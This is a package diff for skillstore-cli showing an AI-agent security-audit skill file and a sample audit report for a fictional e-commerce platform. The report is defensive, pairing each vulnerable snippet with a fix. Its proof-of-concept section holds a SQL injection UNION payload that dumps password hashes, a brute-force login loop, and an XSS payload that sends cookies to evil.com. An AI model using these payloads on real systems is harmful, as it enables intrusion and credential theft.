skillstore-cli 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (231) hide show
  1. package/README.md +95 -0
  2. package/data/bundles/devflow-complete.json +19 -0
  3. package/data/free-skills/devflow-agile/manifest.json +19 -0
  4. package/data/free-skills/devflow-agile/plugin/commands/agile/retro.md +23 -0
  5. package/data/free-skills/devflow-agile/plugin/commands/agile/review.md +21 -0
  6. package/data/free-skills/devflow-agile/plugin/commands/agile/sprint.md +30 -0
  7. package/data/free-skills/devflow-agile/plugin/commands/agile/standup.md +20 -0
  8. package/data/free-skills/devflow-agile/plugin/commands/agile.md +35 -0
  9. package/data/free-skills/devflow-agile/plugin/commands/devflow.md +42 -0
  10. package/data/free-skills/devflow-agile/plugin/skills/developer/SKILL.md +93 -0
  11. package/data/free-skills/devflow-agile/plugin/skills/developer/assets/sample-output.md +182 -0
  12. package/data/free-skills/devflow-agile/plugin/skills/developer/references/clean-architecture.md +361 -0
  13. package/data/free-skills/devflow-agile/plugin/skills/developer/references/clean-code-guide.md +207 -0
  14. package/data/free-skills/devflow-agile/plugin/skills/developer/references/debugging-methodology.md +191 -0
  15. package/data/free-skills/devflow-agile/template/agents/agile-coach.md +76 -0
  16. package/data/free-skills/devflow-agile/template/workflows/agile-sprint-workflow.md +81 -0
  17. package/data/free-skills/devflow-bootstrap/manifest.json +8 -0
  18. package/data/free-skills/devflow-bootstrap/plugin/commands/bootstrap/auto.md +31 -0
  19. package/data/free-skills/devflow-bootstrap/plugin/commands/bootstrap.md +38 -0
  20. package/data/free-skills/devflow-bootstrap/plugin/commands/devflow.md +20 -0
  21. package/data/free-skills/devflow-bootstrap/plugin/skills/project-scaffold/SKILL.md +56 -0
  22. package/data/free-skills/devflow-bootstrap/plugin/skills/project-scaffold/assets/sample-output.md +216 -0
  23. package/data/free-skills/devflow-bootstrap/plugin/skills/project-scaffold/references/architecture-decisions.md +254 -0
  24. package/data/free-skills/devflow-bootstrap/plugin/skills/project-scaffold/references/stack-templates.md +400 -0
  25. package/data/free-skills/devflow-bootstrap/template/agents/bootstrap-specialist.md +56 -0
  26. package/data/free-skills/devflow-bootstrap/template/workflows/bootstrap-workflow.md +70 -0
  27. package/data/free-skills/devflow-docs/manifest.json +8 -0
  28. package/data/free-skills/devflow-docs/plugin/commands/devflow.md +20 -0
  29. package/data/free-skills/devflow-docs/plugin/commands/docs/generate.md +17 -0
  30. package/data/free-skills/devflow-docs/plugin/commands/docs/parse.md +19 -0
  31. package/data/free-skills/devflow-docs/plugin/commands/docs.md +26 -0
  32. package/data/free-skills/devflow-docs/plugin/skills/pdf-processor/SKILL.md +59 -0
  33. package/data/free-skills/devflow-docs/plugin/skills/pdf-processor/assets/sample-output.md +114 -0
  34. package/data/free-skills/devflow-docs/plugin/skills/pdf-processor/references/extraction-techniques.md +115 -0
  35. package/data/free-skills/devflow-docs/plugin/skills/pdf-processor/references/ocr-strategies.md +167 -0
  36. package/data/free-skills/devflow-docs/template/agents/docs-specialist.md +35 -0
  37. package/data/free-skills/devflow-docs/template/workflows/docs-workflow.md +70 -0
  38. package/data/free-skills/devflow-postproject/manifest.json +13 -0
  39. package/data/free-skills/devflow-postproject/plugin/commands/devflow.md +34 -0
  40. package/data/free-skills/devflow-postproject/plugin/commands/postproject/handover.md +21 -0
  41. package/data/free-skills/devflow-postproject/plugin/commands/postproject/retro.md +21 -0
  42. package/data/free-skills/devflow-postproject/plugin/commands/postproject/support.md +21 -0
  43. package/data/free-skills/devflow-postproject/plugin/commands/postproject.md +32 -0
  44. package/data/free-skills/devflow-postproject/plugin/skills/retrospective/SKILL.md +70 -0
  45. package/data/free-skills/devflow-postproject/plugin/skills/retrospective/assets/sample-output.md +79 -0
  46. package/data/free-skills/devflow-postproject/plugin/skills/retrospective/references/facilitation-techniques.md +178 -0
  47. package/data/free-skills/devflow-postproject/plugin/skills/retrospective/references/lessons-learned-template.md +118 -0
  48. package/data/free-skills/devflow-postproject/plugin/skills/retrospective/references/retro-techniques.md +100 -0
  49. package/data/free-skills/devflow-postproject/template/agents/transition-manager.md +71 -0
  50. package/data/free-skills/devflow-postproject/template/workflows/transition-workflow.md +72 -0
  51. package/data/free-skills/devflow-presale/manifest.json +15 -0
  52. package/data/free-skills/devflow-presale/plugin/commands/devflow.md +47 -0
  53. package/data/free-skills/devflow-presale/plugin/commands/presale/analyze.md +30 -0
  54. package/data/free-skills/devflow-presale/plugin/commands/presale/estimate.md +30 -0
  55. package/data/free-skills/devflow-presale/plugin/commands/presale/price.md +30 -0
  56. package/data/free-skills/devflow-presale/plugin/commands/presale/propose.md +30 -0
  57. package/data/free-skills/devflow-presale/plugin/commands/presale.md +42 -0
  58. package/data/free-skills/devflow-presale/plugin/skills/requirement-analysis/SKILL.md +63 -0
  59. package/data/free-skills/devflow-presale/plugin/skills/requirement-analysis/assets/sample-output.md +129 -0
  60. package/data/free-skills/devflow-presale/plugin/skills/requirement-analysis/references/extraction-framework.md +140 -0
  61. package/data/free-skills/devflow-presale/plugin/skills/requirement-analysis/references/output-template.md +132 -0
  62. package/data/free-skills/devflow-presale/template/agents/presale-lead.md +83 -0
  63. package/data/free-skills/devflow-presale/template/agents/proposal-reviewer.md +63 -0
  64. package/data/free-skills/devflow-presale/template/workflows/presale-workflow.md +70 -0
  65. package/data/registry/categories.json +7 -0
  66. package/data/registry/packages.json +184 -0
  67. package/data/shared/framework/agents/brainstormer.md +74 -0
  68. package/data/shared/framework/agents/code-reviewer.md +87 -0
  69. package/data/shared/framework/agents/debugger.md +84 -0
  70. package/data/shared/framework/agents/docs-manager.md +55 -0
  71. package/data/shared/framework/agents/git-manager.md +59 -0
  72. package/data/shared/framework/agents/planner.md +68 -0
  73. package/data/shared/framework/agents/researcher.md +66 -0
  74. package/data/shared/framework/agents/tester.md +65 -0
  75. package/data/shared/framework/commands/cook/auto.md +27 -0
  76. package/data/shared/framework/commands/cook.md +45 -0
  77. package/data/shared/framework/commands/fix/ci.md +21 -0
  78. package/data/shared/framework/commands/fix/test.md +26 -0
  79. package/data/shared/framework/commands/fix/types.md +29 -0
  80. package/data/shared/framework/commands/fix.md +26 -0
  81. package/data/shared/framework/commands/git/cm.md +37 -0
  82. package/data/shared/framework/commands/git/pr.md +40 -0
  83. package/data/shared/framework/config/CLAUDE.md.template +26 -0
  84. package/data/shared/framework/config/settings.json +41 -0
  85. package/data/shared/framework/config/skillstore.config.json +29 -0
  86. package/data/shared/framework/hooks/discord-notify.sh +85 -0
  87. package/data/shared/framework/hooks/docs-sync.sh +53 -0
  88. package/data/shared/framework/hooks/modularization-hook.js +103 -0
  89. package/data/shared/framework/hooks/notification.js +94 -0
  90. package/data/shared/framework/hooks/quality-gate.js +109 -0
  91. package/data/shared/framework/hooks/scout-block.js +77 -0
  92. package/data/shared/framework/hooks/telegram-notify.sh +77 -0
  93. package/data/shared/framework/protocols/error-recovery.md +80 -0
  94. package/data/shared/framework/protocols/orchestration-protocol.md +112 -0
  95. package/data/shared/framework/quality/review-protocol.md +76 -0
  96. package/data/shared/framework/quality/verification-protocol.md +66 -0
  97. package/data/shared/framework/rules/development-rules.md +75 -0
  98. package/data/shared/framework/skills/backend-development/SKILL.md +77 -0
  99. package/data/shared/framework/skills/backend-development/assets/sample-output.md +175 -0
  100. package/data/shared/framework/skills/backend-development/references/advanced-patterns.md +180 -0
  101. package/data/shared/framework/skills/backend-development/references/api-design-guide.md +160 -0
  102. package/data/shared/framework/skills/backend-development/references/architecture-patterns.md +183 -0
  103. package/data/shared/framework/skills/backend-development/references/observability-resilience.md +155 -0
  104. package/data/shared/framework/skills/backend-development/references/troubleshooting.md +199 -0
  105. package/data/shared/framework/skills/codebase-analysis/SKILL.md +72 -0
  106. package/data/shared/framework/skills/codebase-analysis/assets/sample-output.md +263 -0
  107. package/data/shared/framework/skills/codebase-analysis/references/analysis-techniques.md +241 -0
  108. package/data/shared/framework/skills/codebase-analysis/references/dependency-mapping.md +280 -0
  109. package/data/shared/framework/skills/codebase-analysis/references/tech-debt-assessment.md +208 -0
  110. package/data/shared/framework/skills/databases/SKILL.md +72 -0
  111. package/data/shared/framework/skills/databases/assets/sample-output.md +212 -0
  112. package/data/shared/framework/skills/databases/references/advanced-data-patterns.md +259 -0
  113. package/data/shared/framework/skills/databases/references/query-optimization.md +214 -0
  114. package/data/shared/framework/skills/databases/references/schema-design.md +159 -0
  115. package/data/shared/framework/skills/databases/references/troubleshooting.md +214 -0
  116. package/data/shared/framework/skills/debugging-investigation/SKILL.md +84 -0
  117. package/data/shared/framework/skills/debugging-investigation/assets/sample-output.md +314 -0
  118. package/data/shared/framework/skills/debugging-investigation/references/systematic-debugging.md +197 -0
  119. package/data/shared/framework/skills/debugging-investigation/references/tool-specific-guides.md +202 -0
  120. package/data/shared/framework/skills/debugging-investigation/references/troubleshooting-patterns.md +196 -0
  121. package/data/shared/framework/skills/frontend-development/SKILL.md +67 -0
  122. package/data/shared/framework/skills/frontend-development/assets/sample-output.md +110 -0
  123. package/data/shared/framework/skills/frontend-development/references/component-patterns.md +112 -0
  124. package/data/shared/framework/skills/frontend-development/references/performance-guide.md +169 -0
  125. package/data/shared/framework/skills/frontend-development/references/routing-forms-realtime.md +374 -0
  126. package/data/shared/framework/skills/frontend-development/references/ssr-rsc-patterns.md +284 -0
  127. package/data/shared/framework/skills/frontend-development/references/troubleshooting.md +154 -0
  128. package/data/shared/framework/skills/mobile-development/SKILL.md +67 -0
  129. package/data/shared/framework/skills/mobile-development/assets/sample-output.md +382 -0
  130. package/data/shared/framework/skills/mobile-development/references/mobile-patterns.md +681 -0
  131. package/data/shared/framework/skills/mobile-development/references/mobile-performance.md +524 -0
  132. package/data/shared/framework/skills/mobile-development/references/troubleshooting.md +158 -0
  133. package/data/shared/framework/skills/security-audit/SKILL.md +83 -0
  134. package/data/shared/framework/skills/security-audit/assets/sample-output.md +451 -0
  135. package/data/shared/framework/skills/security-audit/references/owasp-checklist.md +580 -0
  136. package/data/shared/framework/skills/security-audit/references/secure-coding-patterns.md +433 -0
  137. package/data/shared/framework/skills/security-audit/references/vulnerability-remediation.md +331 -0
  138. package/data/shared/framework/skills/ui-generation/SKILL.md +70 -0
  139. package/data/shared/framework/skills/ui-generation/assets/sample-output.md +139 -0
  140. package/data/shared/framework/skills/ui-generation/references/accessibility-responsive.md +127 -0
  141. package/data/shared/framework/skills/ui-generation/references/compound-components.md +252 -0
  142. package/data/shared/framework/skills/ui-generation/references/generation-patterns.md +110 -0
  143. package/data/shared/framework/skills/ui-generation/references/storybook-design-system.md +278 -0
  144. package/data/shared/framework/skills/ui-generation/references/troubleshooting.md +198 -0
  145. package/data/shared/framework/workflows/documentation-management.md +58 -0
  146. package/data/shared/framework/workflows/primary-workflow.md +88 -0
  147. package/dist/commands/activate.d.ts +3 -0
  148. package/dist/commands/activate.d.ts.map +1 -0
  149. package/dist/commands/activate.js +34 -0
  150. package/dist/commands/activate.js.map +1 -0
  151. package/dist/commands/bundle.d.ts +3 -0
  152. package/dist/commands/bundle.d.ts.map +1 -0
  153. package/dist/commands/bundle.js +64 -0
  154. package/dist/commands/bundle.js.map +1 -0
  155. package/dist/commands/install.d.ts +3 -0
  156. package/dist/commands/install.d.ts.map +1 -0
  157. package/dist/commands/install.js +99 -0
  158. package/dist/commands/install.js.map +1 -0
  159. package/dist/commands/list.d.ts +3 -0
  160. package/dist/commands/list.d.ts.map +1 -0
  161. package/dist/commands/list.js +37 -0
  162. package/dist/commands/list.js.map +1 -0
  163. package/dist/commands/search.d.ts +3 -0
  164. package/dist/commands/search.d.ts.map +1 -0
  165. package/dist/commands/search.js +30 -0
  166. package/dist/commands/search.js.map +1 -0
  167. package/dist/commands/status.d.ts +3 -0
  168. package/dist/commands/status.d.ts.map +1 -0
  169. package/dist/commands/status.js +35 -0
  170. package/dist/commands/status.js.map +1 -0
  171. package/dist/commands/update.d.ts +3 -0
  172. package/dist/commands/update.d.ts.map +1 -0
  173. package/dist/commands/update.js +68 -0
  174. package/dist/commands/update.js.map +1 -0
  175. package/dist/download/cache.d.ts +3 -0
  176. package/dist/download/cache.d.ts.map +1 -0
  177. package/dist/download/cache.js +18 -0
  178. package/dist/download/cache.js.map +1 -0
  179. package/dist/download/client.d.ts +2 -0
  180. package/dist/download/client.d.ts.map +1 -0
  181. package/dist/download/client.js +58 -0
  182. package/dist/download/client.js.map +1 -0
  183. package/dist/index.d.ts +3 -0
  184. package/dist/index.d.ts.map +1 -0
  185. package/dist/index.js +23 -0
  186. package/dist/index.js.map +1 -0
  187. package/dist/installer/file-copier.d.ts +6 -0
  188. package/dist/installer/file-copier.d.ts.map +1 -0
  189. package/dist/installer/file-copier.js +32 -0
  190. package/dist/installer/file-copier.js.map +1 -0
  191. package/dist/installer/plugin-installer.d.ts +12 -0
  192. package/dist/installer/plugin-installer.d.ts.map +1 -0
  193. package/dist/installer/plugin-installer.js +33 -0
  194. package/dist/installer/plugin-installer.js.map +1 -0
  195. package/dist/installer/template-installer.d.ts +12 -0
  196. package/dist/installer/template-installer.d.ts.map +1 -0
  197. package/dist/installer/template-installer.js +45 -0
  198. package/dist/installer/template-installer.js.map +1 -0
  199. package/dist/license/crypto.d.ts +16 -0
  200. package/dist/license/crypto.d.ts.map +1 -0
  201. package/dist/license/crypto.js +50 -0
  202. package/dist/license/crypto.js.map +1 -0
  203. package/dist/license/license-store.d.ts +19 -0
  204. package/dist/license/license-store.d.ts.map +1 -0
  205. package/dist/license/license-store.js +99 -0
  206. package/dist/license/license-store.js.map +1 -0
  207. package/dist/license/validator.d.ts +32 -0
  208. package/dist/license/validator.d.ts.map +1 -0
  209. package/dist/license/validator.js +81 -0
  210. package/dist/license/validator.js.map +1 -0
  211. package/dist/registry/loader.d.ts +30 -0
  212. package/dist/registry/loader.d.ts.map +1 -0
  213. package/dist/registry/loader.js +22 -0
  214. package/dist/registry/loader.js.map +1 -0
  215. package/dist/registry/search-engine.d.ts +9 -0
  216. package/dist/registry/search-engine.d.ts.map +1 -0
  217. package/dist/registry/search-engine.js +30 -0
  218. package/dist/registry/search-engine.js.map +1 -0
  219. package/dist/utils/config.d.ts +14 -0
  220. package/dist/utils/config.d.ts.map +1 -0
  221. package/dist/utils/config.js +28 -0
  222. package/dist/utils/config.js.map +1 -0
  223. package/dist/utils/logger.d.ts +9 -0
  224. package/dist/utils/logger.d.ts.map +1 -0
  225. package/dist/utils/logger.js +22 -0
  226. package/dist/utils/logger.js.map +1 -0
  227. package/dist/utils/paths.d.ts +20 -0
  228. package/dist/utils/paths.d.ts.map +1 -0
  229. package/dist/utils/paths.js +79 -0
  230. package/dist/utils/paths.js.map +1 -0
  231. package/package.json +54 -0
@@ -0,0 +1,83 @@
1
+ ---
2
+ name: security-audit
3
+ description: Security vulnerability assessment — OWASP Top 10 review, secure coding verification, dependency scanning, and remediation planning
4
+ ---
5
+
6
+ # Security Audit
7
+
8
+ ## Triggers
9
+
10
+ Activate this skill when:
11
+ - Performing a pre-deployment security check on application code
12
+ - Conducting a code review with a security focus
13
+ - Responding to a dependency vulnerability alert (npm audit, Snyk, Dependabot)
14
+ - Addressing compliance requirements (SOC 2, HIPAA, PCI-DSS)
15
+ - Preparing for a penetration test or external security assessment
16
+ - Implementing new authentication or authorization flows
17
+ - Reviewing infrastructure configuration for security posture
18
+
19
+ ## Process
20
+
21
+ ### 1. Scope Definition
22
+ - Identify target components: APIs, frontend, backend, infrastructure, CI/CD
23
+ - Determine compliance frameworks in scope (SOC 2, HIPAA, PCI-DSS, GDPR)
24
+ - Catalog authentication and authorization boundaries
25
+ - Map data flows — where sensitive data enters, is processed, stored, and transmitted
26
+ - Define severity thresholds and acceptable risk tolerance
27
+
28
+ ### 2. Automated Scanning
29
+ Load: `references/vulnerability-remediation.md`
30
+
31
+ - Run dependency scanning: `npm audit`, Snyk, Trivy for container images
32
+ - Execute SAST tools: Semgrep with project-specific rulesets, CodeQL queries
33
+ - Check for secrets in codebase: detect-secrets, truffleHog
34
+ - Validate infrastructure config: tfsec (Terraform), kube-bench (Kubernetes)
35
+ - Aggregate results and deduplicate findings
36
+
37
+ ### 3. Manual Code Review
38
+ Load: `references/owasp-checklist.md`
39
+ Load: `references/secure-coding-patterns.md`
40
+
41
+ - Review authentication flows: credential handling, session management, MFA
42
+ - Inspect authorization logic: RBAC enforcement, IDOR vulnerabilities, privilege escalation paths
43
+ - Audit input validation: injection vectors, file uploads, deserialization
44
+ - Check cryptographic implementations: hashing algorithms, key management, TLS configuration
45
+ - Examine error handling: information leakage, stack traces, debug endpoints
46
+ - Verify security headers: CSP, HSTS, X-Frame-Options, X-Content-Type-Options
47
+
48
+ ### 4. Findings Classification
49
+ - Assign CVSS v3.1 scores to each finding
50
+ - Categorize by OWASP Top 10 (2021) mapping
51
+ - Determine exploitability: network access required, authentication needed, user interaction
52
+ - Assess business impact: data exposure, service disruption, compliance violation
53
+ - Flag false positives with justification
54
+
55
+ ### 5. Remediation Plan
56
+ - Prioritize by severity: Critical → High → Medium → Low
57
+ - Provide specific fix code for each finding
58
+ - Define remediation SLAs: Critical < 24h, High < 7d, Medium < 30d, Low < 90d
59
+ - Recommend preventive controls (CI/CD gates, pre-commit hooks, security training)
60
+ - Map fixes to compliance controls where applicable
61
+
62
+ ## Quick Reference
63
+
64
+ | Vulnerability Type | Detection Method | Fix Pattern |
65
+ |---|---|---|
66
+ | SQL Injection | Semgrep rule, manual review | Parameterized queries |
67
+ | XSS (Reflected/Stored) | DAST scan, code review | Context-specific output encoding |
68
+ | IDOR | Manual testing, endpoint review | Middleware authorization checks |
69
+ | SSRF | Code review, URL pattern analysis | URL allowlisting, network segmentation |
70
+ | Broken Auth | Auth flow review, session analysis | Secure session config, MFA |
71
+ | Sensitive Data Exposure | Secret scanning, config review | Encryption at rest/transit, secrets manager |
72
+ | Security Misconfiguration | Config audit, header scan | Hardening checklists, IaC templates |
73
+ | Vulnerable Dependencies | npm audit, Snyk, Trivy | Automated patching pipeline |
74
+
75
+ ## References
76
+
77
+ - [OWASP Checklist](references/owasp-checklist.md) — OWASP Top 10 (2021) with detection techniques and fix code for each category
78
+ - [Secure Coding Patterns](references/secure-coding-patterns.md) — input validation, output encoding, CSRF, sessions, JWT, CSP, rate limiting
79
+ - [Vulnerability Remediation](references/vulnerability-remediation.md) — scanning tools, CVSS scoring, remediation SLAs, CI/CD security, compliance mapping
80
+
81
+ ## Assets
82
+
83
+ - [Sample Output](assets/sample-output.md) — complete security audit report for a Node.js + React web application
@@ -0,0 +1,451 @@
1
+ # Security Audit Report: ShopFlow — E-Commerce Platform
2
+
3
+ **Audit Date:** 2026-03-15
4
+ **Auditor:** Security Engineering Team
5
+ **Application:** ShopFlow — Node.js (Express) + React + PostgreSQL
6
+ **Environment:** Production (v2.4.1)
7
+ **Scope:** Full stack audit — user authentication, payment processing, API endpoints, container infrastructure
8
+
9
+ ---
10
+
11
+ ## Executive Summary
12
+
13
+ This audit identified **5 Critical**, **8 Medium**, and **4 Low** severity findings across the ShopFlow e-commerce platform. The most severe issues involve SQL injection in the product search endpoint, insecure direct object references on user profiles, and a hardcoded API key in the source code. Automated scanning revealed 3 high-severity npm vulnerabilities, 2 Semgrep findings, and 1 critical container image vulnerability. Immediate remediation is required for all Critical findings before the next production deployment.
14
+
15
+ **Overall Risk Rating: HIGH** — Critical vulnerabilities allow unauthenticated data access and potential remote code execution.
16
+
17
+ ---
18
+
19
+ ## Scope Definition
20
+
21
+ ### Systems Audited
22
+ - **Backend API:** Express.js REST API (42 endpoints)
23
+ - **Frontend:** React SPA with Next.js SSR
24
+ - **Database:** PostgreSQL 15 with Prisma ORM
25
+ - **Authentication:** JWT-based with refresh tokens
26
+ - **Payment Processing:** Stripe integration (server-side)
27
+ - **Infrastructure:** Docker containers on AWS ECS, ALB, RDS
28
+ - **CI/CD:** GitHub Actions with automated deployments
29
+
30
+ ### Compliance Frameworks
31
+ - SOC 2 Type II (in preparation)
32
+ - PCI-DSS v4.0 (payment processing scope)
33
+
34
+ ### Out of Scope
35
+ - Third-party SaaS integrations (Stripe dashboard, SendGrid)
36
+ - AWS account-level IAM (covered by separate cloud security audit)
37
+ - Mobile applications (no mobile client exists)
38
+
39
+ ---
40
+
41
+ ## Automated Scan Results
42
+
43
+ ### npm audit
44
+ ```
45
+ found 8 vulnerabilities (3 high, 5 moderate)
46
+
47
+ High:
48
+ jsonwebtoken <9.0.0 — Algorithm confusion (CVE-2022-23529) — CVSS 7.6
49
+ express <4.19.2 — Path traversal (CVE-2024-29041) — CVSS 7.5
50
+ node-fetch <2.6.7 — SSRF via redirect (CVE-2022-0235) — CVSS 8.1
51
+
52
+ Moderate:
53
+ semver <7.5.2 — ReDoS (CVE-2022-25883) — CVSS 5.3
54
+ tough-cookie <4.1.3 — Prototype pollution (CVE-2023-26136) — CVSS 6.5
55
+ word-wrap <1.2.4 — ReDoS (CVE-2023-26115) — CVSS 5.3
56
+ xml2js <0.5.0 — Prototype pollution (CVE-2023-0842) — CVSS 5.3
57
+ cookie <0.6.0 — Out-of-bounds read (CVE-2024-47764) — CVSS 5.0
58
+ ```
59
+
60
+ ### Semgrep (OWASP Top 10 Ruleset)
61
+ ```
62
+ 2 findings:
63
+
64
+ CRITICAL: javascript.express.security.audit.xss.mustache-escape.template-unescaped
65
+ File: src/api/controllers/commentController.js:47
66
+ Message: Unescaped user input rendered in template
67
+
68
+ HIGH: javascript.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd
69
+ File: src/api/utils/imageProcessor.js:23
70
+ Message: User input passed to child_process.exec()
71
+ ```
72
+
73
+ ### Trivy (Container Image)
74
+ ```
75
+ myapp:2.4.1 (debian 12.4)
76
+
77
+ CRITICAL: 1
78
+ CVE-2024-21626 — runc container breakout — CVSS 8.6
79
+ Fixed version: runc >= 1.1.12
80
+ Affected: runc 1.1.10 (in base image node:20-bullseye)
81
+
82
+ HIGH: 2
83
+ CVE-2023-44487 — HTTP/2 Rapid Reset — CVSS 7.5
84
+ CVE-2023-39325 — Go net/http DoS — CVSS 7.5
85
+ ```
86
+
87
+ ---
88
+
89
+ ## Manual Review Findings
90
+
91
+ ### Critical Findings
92
+
93
+ #### C1: SQL Injection in Product Search
94
+ - **OWASP:** A03 — Injection
95
+ - **CVSS:** 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
96
+ - **File:** `src/api/controllers/productController.js:89`
97
+ - **Description:** The product search endpoint concatenates user input directly into a SQL query, allowing unauthenticated SQL injection.
98
+
99
+ **Vulnerable Code:**
100
+ ```javascript
101
+ // src/api/controllers/productController.js:89
102
+ async function searchProducts(req, res) {
103
+ const { q, category, minPrice, maxPrice } = req.query;
104
+ const query = `SELECT * FROM products WHERE name ILIKE '%${q}%'
105
+ AND category = '${category}'
106
+ AND price BETWEEN ${minPrice} AND ${maxPrice}
107
+ ORDER BY created_at DESC`;
108
+ const results = await pool.query(query);
109
+ res.json(results.rows);
110
+ }
111
+ ```
112
+
113
+ **Proof of Concept:**
114
+ ```
115
+ GET /api/products/search?q=' UNION SELECT id,email,password_hash,null,null,null FROM users--&category=all&minPrice=0&maxPrice=9999
116
+ ```
117
+
118
+ **Remediation:**
119
+ ```javascript
120
+ async function searchProducts(req, res) {
121
+ const { q, category, minPrice, maxPrice } = req.query;
122
+ const results = await pool.query(
123
+ `SELECT * FROM products WHERE name ILIKE $1
124
+ AND category = $2
125
+ AND price BETWEEN $3 AND $4
126
+ ORDER BY created_at DESC`,
127
+ [`%${q}%`, category, parseFloat(minPrice) || 0, parseFloat(maxPrice) || 999999]
128
+ );
129
+ res.json(results.rows);
130
+ }
131
+ ```
132
+
133
+ ---
134
+
135
+ #### C2: IDOR on User Profile Endpoint
136
+ - **OWASP:** A01 — Broken Access Control
137
+ - **CVSS:** 8.6 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
138
+ - **File:** `src/api/controllers/userController.js:34`
139
+ - **Description:** Any authenticated user can access or modify any other user's profile by changing the user ID in the URL. No ownership verification is performed.
140
+
141
+ **Vulnerable Code:**
142
+ ```javascript
143
+ // src/api/controllers/userController.js:34
144
+ router.get('/api/users/:id', authenticate, async (req, res) => {
145
+ const user = await prisma.user.findUnique({
146
+ where: { id: req.params.id },
147
+ include: { orders: true, addresses: true, paymentMethods: true },
148
+ });
149
+ res.json(user);
150
+ });
151
+ ```
152
+
153
+ **Proof of Concept:**
154
+ ```bash
155
+ # Authenticated as user-123, accessing user-456's data (including payment methods)
156
+ curl -H "Authorization: Bearer <user-123-token>" https://api.shopflow.com/api/users/user-456
157
+ ```
158
+
159
+ **Remediation:**
160
+ ```javascript
161
+ router.get('/api/users/:id', authenticate, async (req, res) => {
162
+ // Enforce ownership: users can only access their own profile
163
+ if (req.params.id !== req.user.id && req.user.role !== 'admin') {
164
+ return res.status(403).json({ error: 'Access denied' });
165
+ }
166
+ const user = await prisma.user.findUnique({
167
+ where: { id: req.params.id },
168
+ include: { orders: true, addresses: true },
169
+ // Exclude sensitive payment details from default response
170
+ });
171
+ res.json(user);
172
+ });
173
+ ```
174
+
175
+ ---
176
+
177
+ #### C3: Missing Rate Limiting on Login Endpoint
178
+ - **OWASP:** A07 — Identification and Authentication Failures
179
+ - **CVSS:** 8.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
180
+ - **File:** `src/api/routes/auth.js:15`
181
+ - **Description:** The login endpoint has no rate limiting or account lockout mechanism, allowing unlimited credential stuffing and brute-force attacks.
182
+
183
+ **Proof of Concept:**
184
+ ```bash
185
+ # 10,000 login attempts in 60 seconds — no blocking
186
+ for i in $(seq 1 10000); do
187
+ curl -s -X POST https://api.shopflow.com/api/auth/login \
188
+ -H "Content-Type: application/json" \
189
+ -d "{\"email\":\"admin@shopflow.com\",\"password\":\"attempt${i}\"}"
190
+ done
191
+ ```
192
+
193
+ **Remediation:**
194
+ ```javascript
195
+ const rateLimit = require('express-rate-limit');
196
+
197
+ const loginLimiter = rateLimit({
198
+ windowMs: 15 * 60 * 1000,
199
+ max: 5,
200
+ message: { error: 'Too many login attempts. Please try again in 15 minutes.' },
201
+ keyGenerator: (req) => req.body.email || req.ip,
202
+ standardHeaders: true,
203
+ });
204
+
205
+ router.post('/api/auth/login', loginLimiter, loginHandler);
206
+ ```
207
+
208
+ ---
209
+
210
+ #### C4: Stored XSS in Comment Display
211
+ - **OWASP:** A03 — Injection (XSS)
212
+ - **CVSS:** 8.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N)
213
+ - **File:** `src/frontend/components/CommentSection.jsx:28`
214
+ - **Description:** Product review comments are rendered using `dangerouslySetInnerHTML` without sanitization. An attacker can submit a review containing JavaScript that executes in every visitor's browser, stealing session tokens or redirecting to phishing pages.
215
+
216
+ **Vulnerable Code:**
217
+ ```jsx
218
+ // src/frontend/components/CommentSection.jsx:28
219
+ const Comment = ({ comment }) => (
220
+ <div className="comment">
221
+ <strong>{comment.author}</strong>
222
+ <div dangerouslySetInnerHTML={{ __html: comment.body }} />
223
+ </div>
224
+ );
225
+ ```
226
+
227
+ **Proof of Concept:**
228
+ ```
229
+ POST /api/products/123/reviews
230
+ Body: { "body": "<img src=x onerror='fetch(\"https://evil.com/steal?c=\"+document.cookie)'>" }
231
+ ```
232
+
233
+ **Remediation:**
234
+ ```jsx
235
+ import DOMPurify from 'dompurify';
236
+
237
+ const Comment = ({ comment }) => (
238
+ <div className="comment">
239
+ <strong>{comment.author}</strong>
240
+ <div dangerouslySetInnerHTML={{
241
+ __html: DOMPurify.sanitize(comment.body, {
242
+ ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br', 'ul', 'ol', 'li'],
243
+ ALLOWED_ATTR: [],
244
+ })
245
+ }} />
246
+ </div>
247
+ );
248
+ ```
249
+
250
+ ---
251
+
252
+ #### C5: Hardcoded Stripe API Key in Source Code
253
+ - **OWASP:** A02 — Cryptographic Failures
254
+ - **CVSS:** 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
255
+ - **File:** `src/api/services/paymentService.js:3`
256
+ - **Description:** The Stripe secret key is hardcoded in the source file and committed to version control. Anyone with repository access (including former employees) can access the payment processing API and issue refunds, view customer payment data, or create charges.
257
+
258
+ **Vulnerable Code:**
259
+ ```javascript
260
+ // src/api/services/paymentService.js:3
261
+ const stripe = require('stripe')('sk_live_51ABC123def456GHI789jkl...');
262
+ ```
263
+
264
+ **Remediation:**
265
+ ```javascript
266
+ // src/api/services/paymentService.js
267
+ const stripe = require('stripe')(process.env.STRIPE_SECRET_KEY);
268
+ if (!process.env.STRIPE_SECRET_KEY) {
269
+ throw new Error('STRIPE_SECRET_KEY environment variable is not set');
270
+ }
271
+ ```
272
+
273
+ **Additional Steps Required:**
274
+ 1. Immediately rotate the exposed Stripe API key in the Stripe dashboard
275
+ 2. Audit Stripe logs for unauthorized activity during the exposure period
276
+ 3. Add `detect-secrets` pre-commit hook to prevent future occurrences
277
+ 4. Scan git history for other hardcoded secrets: `gitleaks detect --source .`
278
+
279
+ ---
280
+
281
+ ### Medium Findings
282
+
283
+ #### M1: Verbose Error Messages in Production
284
+ - **OWASP:** A05 — Security Misconfiguration
285
+ - **CVSS:** 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
286
+ - **File:** `src/api/middleware/errorHandler.js:12`
287
+ - **Description:** Unhandled errors return full stack traces including file paths, library versions, and database connection strings.
288
+
289
+ **Remediation:** Return generic error message to client; log details server-side only.
290
+ ```javascript
291
